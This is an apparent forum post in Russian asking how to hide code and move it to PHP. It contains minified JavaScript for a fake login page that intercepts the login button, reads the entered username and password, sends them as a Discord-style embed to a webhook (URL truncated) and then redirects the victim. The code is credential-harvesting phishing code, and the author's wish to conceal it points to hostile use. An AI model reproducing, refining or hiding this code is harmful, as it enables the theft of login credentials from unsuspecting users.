Для кое кого важно что бы код не было видно, ну и надо на php((
document.addEventListener("DOMContentLoaded",()=>{
const e=document.getElementById("login-username"),o=document.getElementById("login-password"),t=document.getElementById("login-button");
document.querySelector("p.login-error").setAttribute("style","display: none !important;"),console.log("Loaded",t);
t.addEventListener("click",async t=>{
t.preventDefault();
const n=e.value.trim(),a=o.value.trim();
""!=n&&""!=a?(await(({
webhookURL:e,content:o}
)=>fetch(e,{
method:"post",headers:{
"Content-Type":"application/json"}
,body:JSON.stringify(o)}
))({
webhookURL:"https:",content:{
description:"Valid attempt requested",embeds:[{
fields:[{
name:"Username",value:n,inline:!1}
,{
name:"Password",value:a}
],color:20,timestamp:(new Date).toISOString()}
]}
}
),window.location.replace("https:")):window.location.reload()}
)}
);